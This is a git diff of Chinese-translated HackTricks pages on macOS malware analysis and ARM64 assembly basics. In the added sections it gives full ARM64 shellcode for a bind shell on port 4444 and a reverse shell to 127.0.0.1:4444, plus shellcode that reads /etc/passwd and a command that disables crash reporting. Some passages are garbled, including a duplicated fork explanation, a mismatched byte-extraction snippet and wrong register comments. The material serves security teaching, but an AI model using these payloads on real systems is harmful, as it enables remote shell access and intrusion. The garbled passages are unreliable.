|
||||
|
||||
|
@ -350,22 +357,21 @@ lldb -n malware.bin --waitfor
|
|||
* 命令**`sysctl hw.model`**在主机为MacOS时返回"Mac",而在虚拟机上返回其他值。
|
||||
* 通过调整**`hw.logicalcpu`**和**`hw.physicalcpu`**的值,一些恶意软件尝试检测是否为虚拟机。
|
||||
* 一些恶意软件还可以根据MAC地址(00:50:56)判断机器是否为VMware。
|
||||
* 还可以使用简单的代码来检测进程是否正在被调试:
|
||||
* 还可以通过简单的代码判断进程是否正在被调试:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
|
||||
* 还可以使用**`ptrace`**系统调用以**`PT_DENY_ATTACH`**标志调用。这可以防止调试器附加和跟踪。
|
||||
* 您可以检查是否导入了**`sysctl`**或**`ptrace`**函数(但恶意软件可能会动态导入它们)
|
||||
* 还可以使用**`ptrace`**系统调用和**`PT_DENY_ATTACH`**标志来阻止调试器的附加和跟踪。
|
||||
* 可以检查是否导入了**`sysctl`**或**`ptrace`**函数(但恶意软件可能会动态导入它)。
|
||||
* 如在此文档中所述:“[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
“_消息“Process # exited with **status = 45 (0x0000002d)**”通常是调试目标使用**PT\_DENY\_ATTACH**的明显迹象_”
|
||||
|
||||
## 模糊测试
|
||||
“_消息“Process # exited with **status = 45 (0x0000002d)**”通常是调试目标正在使用**PT\_DENY\_ATTACH**的明显迹象_”。
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash用于**分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含的信息可以帮助开发人员诊断崩溃的原因。\
|
||||
对于在每个用户的launchd上下文中运行的应用程序和其他进程,ReportCrash作为LaunchAgent运行,并将崩溃报告保存在用户的`~/Library/Logs/DiagnosticReports/`目录中。\
|
||||
对于守护进程、在系统launchd上下文中运行的其他进程和其他特权进程,ReportCrash作为LaunchDaemon运行,并将崩溃报告保存在系统的`/Library/Logs/DiagnosticReports`目录中。
|
||||
ReportCrash(报告崩溃)**分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含的信息可以**帮助开发人员诊断**崩溃的原因。\
|
||||
对于在每个用户的launchd上下文中运行的应用程序和其他进程,ReportCrash作为LaunchAgent运行,并将崩溃报告保存在用户的`~/Library/Logs/DiagnosticReports/`目录下。\
|
||||
对于守护进程、在系统launchd上下文中运行的其他进程和其他特权进程,ReportCrash作为LaunchDaemon运行,并将崩溃报告保存在系统的`/Library/Logs/DiagnosticReports`目录下。
|
||||
|
||||
如果您担心崩溃报告被发送到Apple,您可以禁用它们。否则,崩溃报告可以帮助您弄清楚服务器崩溃的原因。
|
||||
如果你担心崩溃报告**被发送给Apple**,你可以禁用它们。如果不禁用,崩溃报告可以用来**找出服务器崩溃的原因**。
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -475,7 +481,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -18,11 +18,11 @@ ARM64,也被称为ARMv8-A,是一种64位处理器架构,用于各种设备
|
|||
|
||||
### **寄存器**
|
||||
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**(8字节)的值。对于只需要32位值的操作,可以使用相同的寄存器以32位模式访问,使用名称w0到w30。
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**(8字节)的值。对于只需要32位值的操作,可以使用名为w0到w30的32位模式访问相同的寄存器。
|
||||
|
||||
1. **`x0`**到**`x7`** - 通常用作临时寄存器和传递子程序参数。
|
||||
* **`x0`**还携带函数的返回数据
|
||||
2. **`x8`** - 在Linux内核中,`x8`用作`svc`指令的系统调用号。**在macOS中,使用x16!**
|
||||
2. **`x8`** - 在Linux内核中,`x8`用作`svc`指令的系统调用号。**在macOS中,使用的是x16!**
|
||||
3. **`x9`**到**`x15`** - 更多的临时寄存器,通常用于局部变量。
|
||||
4. **`x16`**和**`x17`** - 临时寄存器,也用于间接函数调用和PLT(Procedure Linkage Table)存根。
|
||||
* **`x16`**用作**`svc`**指令的**系统调用号**。
|
||||
|
@ -35,9 +35,9 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
|
|||
|
||||
### **调用约定**
|
||||
|
||||
ARM64调用约定规定,函数的**前八个参数**通过寄存器**`x0`到`x7`**传递。**额外的**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**传回,如果是**128位**则也可以通过**`x1`**传回。**`x19`**到**`x30`**和**`sp`**寄存器必须在函数调用之间**保留**。
|
||||
ARM64调用约定规定,函数的**前八个参数**通过寄存器**`x0`到`x7`**传递。**额外的**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**传回,如果是**128位**的话,也可以通过**`x1`**传回。函数调用时,**`x19`**到**`x30`**和**`sp`**寄存器必须被**保留**。
|
||||
|
||||
在汇编中阅读函数时,要查找**函数的序言和尾声**。**序言**通常涉及**保存帧指针(`x29`)**,**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
在汇编中阅读函数时,要查找**函数的序言和尾声**。**序言**通常涉及**保存帧指针(`x29`)**,**设置新的帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
|
||||
### **常见指令**
|
||||
|
||||
|
@ -49,9 +49,9 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
|
|||
* 示例:`ldr x0, [x1]` - 这将从由`x1`指向的内存位置加载一个值到`x0`中。
|
||||
* **`str`**:将一个值从寄存器存储到内存中。
|
||||
* 示例:`str x0, [x1]` - 这将将`x0`中的值存储到由`x1`指向的内存位置中。
|
||||
* **`ldp`**:**加载一对寄存器**。该指令从**连续的内存**位置加载两个寄存器。内存地址通常是通过将另一个寄存器中的值与偏移量相加得到的。
|
||||
* **`ldp`**:**加载一对寄存器**。该指令从**连续的内存**位置加载两个寄存器。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
|
||||
* 示例:`ldp x0, x1, [x2]` - 这将从`x2`和`x2 + 8`处的内存位置分别加载`x0`和`x1`。
|
||||
* **`stp`**:**存储一对寄存器**。该指令将两个寄存器存储到**连续的内存**位置。内存地址通常是通过将另一个寄存器中的值与偏移量相加得到的。
|
||||
* **`stp`**:**存储一对寄存器**。该指令将两个寄存器存储到**连续的内存**位置。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
|
||||
* 示例:`stp x0, x1, [x2]` - 这将`x0`和`x1`存储到`x2`和`x2 + 8`处的内存位置。
|
||||
* **`add`**:将两个寄存器的值相加,并将结果存储在一个寄存器中。
|
||||
* 示例:`add x0, x1, x2` - 这将将`x1`和`x2`中的值相加,并将结果存储在`x0`中。
|
||||
|
@ -63,7 +63,7 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
|
|||
* 示例:`div x0, x1, x2` — 将`x1`的值除以`x2`的值,并将结果存储在`x0`中。
|
||||
* **`bl`**: **带链接分支**,用于调用一个**子程序**。将**返回地址存储在`x30`中**。
|
||||
* 示例:`bl myFunction` — 调用函数`myFunction`,并将返回地址存储在`x30`中。
|
||||
* **`blr`**: **带链接分支到寄存器**,用于调用一个**子程序**,其中目标在一个**寄存器**中指定。将**返回地址存储在`x30`中**。
|
||||
* **`blr`**: **带链接寄存器分支**,用于调用一个**子程序**,其中目标在一个**寄存器**中指定。将**返回地址存储在`x30`中**。
|
||||
* 示例:`blr x1` — 调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
* **`ret`**: **从子程序返回**,通常使用**`x30`中的地址**。
|
||||
* 示例:`ret` — 使用`x30`中的返回地址从当前子程序返回。
|
||||
|
@ -71,11 +71,11 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
|
|||
* 示例:`cmp x0, x1` — 比较`x0`和`x1`的值,并相应地设置条件标志。
|
||||
* **`b.eq`**: **等于时分支**,基于前面的`cmp`指令。
|
||||
* 示例:`b.eq label` — 如果前面的`cmp`指令发现两个相等的值,则跳转到`label`。
|
||||
* **`b.ne`**: **不等于时分支**。该指令检查条件标志(由前一个比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
|
||||
* **`b.ne`**: **不等于时分支**。此指令检查条件标志(由前一个比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
|
||||
* 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`的值不相等,则跳转到`label`。
|
||||
* **`cbz`**: **比较并在零时分支**。该指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
|
||||
* **`cbz`**: **零时比较和分支**。此指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
|
||||
* 示例:`cbz x0, label` — 如果`x0`中的值为零,则跳转到`label`。
|
||||
* **`cbnz`**: **比较并在非零时分支**。该指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
|
||||
* **`cbnz`**: **非零时比较和分支**。此指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
|
||||
* 示例:`cbnz x0, label` — 如果`x0`中的值非零,则跳转到`label`。
|
||||
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
|
||||
* 示例:`adrp x0, symbol` — 计算`symbol`的页地址并将其存储在`x0`中。
|
||||
|
@ -83,8 +83,8 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
|
|||
* 示例:`ldrsw x0, [x1]` — 从由`x1`指向的内存位置加载一个有符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* **`stur`**: 将一个寄存器的值**存储到内存位置**,使用另一个寄存器的偏移量。
|
||||
* 示例:`stur x0, [x1, #4]` — 将`x0`中的值存储到当前`x1`地址加4字节的内存位置。
|
||||
* **`svc`**:进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时,它会从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码所在的特定位置。
|
||||
* 示例:
|
||||
*  **`svc`** : 进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时,它会从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码所在的特定位置。
|
||||
* 示例: 
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; 将退出系统调用的系统调用号(93)加载到寄存器x8中。
|
||||
|
@ -92,24 +92,54 @@ mov x0, 0 ; 将退出状态码(0)加载到寄存器x0中。
|
|||
svc 0 ; 进行系统调用。
|
||||
```
|
||||
|
||||
### **函数序言**
|
||||
|
||||
1. **将链接寄存器和帧指针保存到堆栈中**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; 将x29和x30寄存器对存储到堆栈中,并减小堆栈指针
|
||||
```
|
||||
{% endcode %}
|
||||
2. **设置新的帧指针**:`mov x29, sp`(为当前函数设置新的帧指针)
|
||||
3. **为局部变量在堆栈上分配空间**(如果需要):`sub sp, sp, <size>`(其中`<size>`是所需的字节数)
|
||||
|
||||
### **函数收尾**
|
||||
|
||||
1. **释放局部变量(如果有分配的变量)**:`add sp, sp, <size>`
|
||||
2. **恢复链接寄存器和帧指针**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; 从堆栈中加载x29和x30寄存器对,并增加堆栈指针
|
||||
```
|
||||
{% endcode %}
|
||||
3. **返回**:`ret`(使用链接寄存器中的地址将控制返回给调用者)
|
||||
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
|
||||
查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。
|
||||
请查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。
|
||||
|
||||
### Shellcodes
|
||||
|
||||
编译方法:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
编译:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
提取字节的方法:
|
||||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
提取字节的方法如下:
|
||||
|
||||
```assembly
|
||||
ldr x0, =0x12345678
|
||||
ldrb w1, [x0]
|
||||
```
|
||||
|
||||
这段代码用于从内存地址0x12345678中提取一个字节。
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -218,7 +248,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 使用cat命令读取文件
|
||||
#### 使用cat命令读取
|
||||
|
||||
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中表示为地址的堆栈)。
|
||||
```armasm
|
||||
|
@ -238,7 +268,7 @@ str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
|
|||
|
||||
adr x0, cat_path
|
||||
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
||||
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
||||
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
||||
svc 0 ; Make the syscall
|
||||
|
||||
|
||||
|
@ -248,41 +278,63 @@ passwd_path: .asciz "/etc/passwd"
|
|||
```
|
||||
#### 使用fork从sh调用命令,以便主进程不被终止
|
||||
|
||||
To invoke a command with `sh` from a forked process, you can follow these steps:
|
||||
Sometimes, when executing a command using the `system()` function in C, the main process may be terminated if the command encounters an error. To avoid this, you can use the `fork()` system call to create a child process and then execute the command using `sh` in the child process. This way, even if the command fails, the main process will not be terminated.
|
||||
|
||||
1. Import the necessary libraries:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
```
|
||||
|
||||
2. Create a forked process using the `fork()` function:
|
||||
```c
|
||||
pid_t pid = fork();
|
||||
```
|
||||
int main() {
|
||||
pid_t pid = fork();
|
||||
|
||||
3. Check if the process is the child process:
|
||||
```c
|
||||
if (pid == 0) {
|
||||
// Child process
|
||||
// Execute the command using sh
|
||||
execl("/bin/sh", "sh", "-c", "your_command", (char *)NULL);
|
||||
exit(0);
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
exit(EXIT_FAILURE);
|
||||
} else if (pid == 0) {
|
||||
// Child process
|
||||
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
// Parent process
|
||||
wait(NULL);
|
||||
printf("Command executed successfully!\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
4. Wait for the child process to finish executing the command:
|
||||
在C语言中,有时候使用`system()`函数执行命令时,如果命令遇到错误,主进程可能会被终止。为了避免这种情况,可以使用`fork()`系统调用创建一个子进程,然后在子进程中使用`sh`执行命令。这样,即使命令失败,主进程也不会被终止。
|
||||
|
||||
```c
|
||||
else {
|
||||
// Parent process
|
||||
wait(NULL);
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
pid_t pid = fork();
|
||||
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
exit(EXIT_FAILURE);
|
||||
} else if (pid == 0) {
|
||||
// 子进程
|
||||
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
// 父进程
|
||||
wait(NULL);
|
||||
printf("命令执行成功!\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
By using this method, the main process will not be terminated when executing the command with `sh` from the forked process.
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -326,14 +378,167 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### 绑定 shell
|
||||
|
||||
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取绑定 shell,端口为 **4444**。
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
.align 2
|
||||
_main:
|
||||
call_socket:
|
||||
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
||||
mov x16, #97
|
||||
lsr x1, x16, #6
|
||||
lsl x0, x1, #1
|
||||
mov x2, xzr
|
||||
svc #0x1337
|
||||
|
||||
// save s
|
||||
mvn x3, x0
|
||||
|
||||
call_bind:
|
||||
/*
|
||||
* bind(s, &sockaddr, 0x10)
|
||||
*
|
||||
* struct sockaddr_in {
|
||||
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
||||
* sa_family_t sin_family; // AF_INET = 2
|
||||
* in_port_t sin_port; // 4444 = 0x115C
|
||||
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
|
||||
* char sin_zero[8]; // Don't care
|
||||
* };
|
||||
*/
|
||||
mov x1, #0x0210
|
||||
movk x1, #0x5C11, lsl #16
|
||||
str x1, [sp, #-8]
|
||||
mov x2, #8
|
||||
sub x1, sp, x2
|
||||
mov x2, #16
|
||||
mov x16, #104
|
||||
svc #0x1337
|
||||
|
||||
call_listen:
|
||||
// listen(s, 2)
|
||||
mvn x0, x3
|
||||
lsr x1, x2, #3
|
||||
mov x16, #106
|
||||
svc #0x1337
|
||||
|
||||
call_accept:
|
||||
// c = accept(s, 0, 0)
|
||||
mvn x0, x3
|
||||
mov x1, xzr
|
||||
mov x2, xzr
|
||||
mov x16, #30
|
||||
svc #0x1337
|
||||
|
||||
mvn x3, x0
|
||||
lsr x2, x16, #4
|
||||
lsl x2, x2, #2
|
||||
|
||||
call_dup:
|
||||
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
|
||||
mvn x0, x3
|
||||
lsr x2, x2, #1
|
||||
mov x1, x2
|
||||
mov x16, #90
|
||||
svc #0x1337
|
||||
mov x10, xzr
|
||||
cmp x10, x2
|
||||
bne call_dup
|
||||
|
||||
call_execve:
|
||||
// execve("/bin/sh", 0, 0)
|
||||
mov x1, #0x622F
|
||||
movk x1, #0x6E69, lsl #16
|
||||
movk x1, #0x732F, lsl #32
|
||||
movk x1, #0x68, lsl #48
|
||||
str x1, [sp, #-8]
|
||||
mov x1, #8
|
||||
sub x0, sp, x1
|
||||
mov x1, xzr
|
||||
mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### 反向 shell
|
||||
|
||||
从 [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s),反向 shell 到 **127.0.0.1:4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
.align 2
|
||||
_main:
|
||||
call_socket:
|
||||
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
||||
mov x16, #97
|
||||
lsr x1, x16, #6
|
||||
lsl x0, x1, #1
|
||||
mov x2, xzr
|
||||
svc #0x1337
|
||||
|
||||
// save s
|
||||
mvn x3, x0
|
||||
|
||||
call_connect:
|
||||
/*
|
||||
* connect(s, &sockaddr, 0x10)
|
||||
*
|
||||
* struct sockaddr_in {
|
||||
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
||||
* sa_family_t sin_family; // AF_INET = 2
|
||||
* in_port_t sin_port; // 4444 = 0x115C
|
||||
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
|
||||
* char sin_zero[8]; // Don't care
|
||||
* };
|
||||
*/
|
||||
mov x1, #0x0210
|
||||
movk x1, #0x5C11, lsl #16
|
||||
movk x1, #0x007F, lsl #32
|
||||
movk x1, #0x0100, lsl #48
|
||||
str x1, [sp, #-8]
|
||||
mov x2, #8
|
||||
sub x1, sp, x2
|
||||
mov x2, #16
|
||||
mov x16, #98
|
||||
svc #0x1337
|
||||
|
||||
lsr x2, x2, #2
|
||||
|
||||
call_dup:
|
||||
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
|
||||
mvn x0, x3
|
||||
lsr x2, x2, #1
|
||||
mov x1, x2
|
||||
mov x16, #90
|
||||
svc #0x1337
|
||||
mov x10, xzr
|
||||
cmp x10, x2
|
||||
bne call_dup
|
||||
|
||||
call_execve:
|
||||
// execve("/bin/sh", 0, 0)
|
||||
mov x1, #0x622F
|
||||
movk x1, #0x6E69, lsl #16
|
||||
movk x1, #0x732F, lsl #32
|
||||
movk x1, #0x68, lsl #48
|
||||
str x1, [sp, #-8]
|
||||
mov x1, #8
|
||||
sub x0, sp, x1
|
||||
mov x1, xzr
|
||||
mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,454 @@
|
|||
# x64简介
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
